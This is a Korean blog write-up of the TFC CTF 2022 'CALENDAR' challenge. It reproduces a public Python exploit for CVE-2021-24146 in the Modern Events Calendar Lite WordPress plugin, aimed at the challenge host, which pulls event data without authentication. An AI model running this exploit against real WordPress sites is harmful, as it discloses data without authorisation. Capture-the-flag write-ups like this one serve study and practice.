본문 바로가기
CTF

[TFC CTF 2022] CALENDAR

by skyepodium 2022. 7. 31.

1. 개요

라이브러리 취약점 검색 문제

 

2. 분석

network 요청 리소스를 보면 modern-event-calendar-lite 5.16.2 버전을 사용하고 있습니다.

 

구글링하면 5.16.2 버전에 대한 취약점이 공개되어 있습니다.


https://www.exploit-db.com/exploits/50084 의 코드를 사용했습니다.

# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24146
# CWE: CWE-863, CWE-284
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md

'''
Description:
Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,
versions before 5.16.5, did not properly restrict access to the export files,
allowing unauthenticated users to exports all events data in CSV or XML format for example.
'''

'''
Banner:
'''
banner = """
   _______    ________    ___   ____ ___  ___     ___  __ __ _____ __  _____
  / ____/ |  / / ____/   |__ \ / __ \__ \<  /    |__ \/ // /<  / // / / ___/
 / /    | | / / __/________/ // / / /_/ // /_______/ / // /_/ / // /_/ __ \ 
/ /___  | |/ / /__/_____/ __// /_/ / __// /_____/ __/__  __/ /__  __/ /_/ / 
\____/  |___/_____/    /____/\____/____/_/     /____/ /_/ /_/  /_/  \____/  

            * WordPress Plugin Modern Events Calendar Lite < 5.16.2 - Export Event Data (Unauthenticated)
            * @Hacker5preme                                                                                                                            

"""
print(banner)

'''
Import required modules:
'''
import requests
import argparse
import csv

'''
Exploit:
'''
print('')
print('[+] Exported Data: ')
print('')
exploit_url = 'http://01.linux.challenges.ctf.thefewchosen.com:49178/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv'
answer = requests.get(exploit_url)
print('answer', answer)
decoded_content = answer.content.decode('utf-8')
cr = csv.reader(decoded_content.splitlines(), delimiter=',')
my_list = list(cr)
for row in my_list:
    print(row)

'CTF' 카테고리의 다른 글

[TFC CTF 2022] pattern  (0) 2022.07.31
[TFC CTF 2022] random  (0) 2022.07.31
[TFC CTF 2022] DEEPLINKS  (0) 2022.07.31
[TFC CTF 2022] MAFIOSO  (0) 2022.07.31
[TFC CTF 2022] ARE YOU THE ADMIN?  (0) 2022.07.31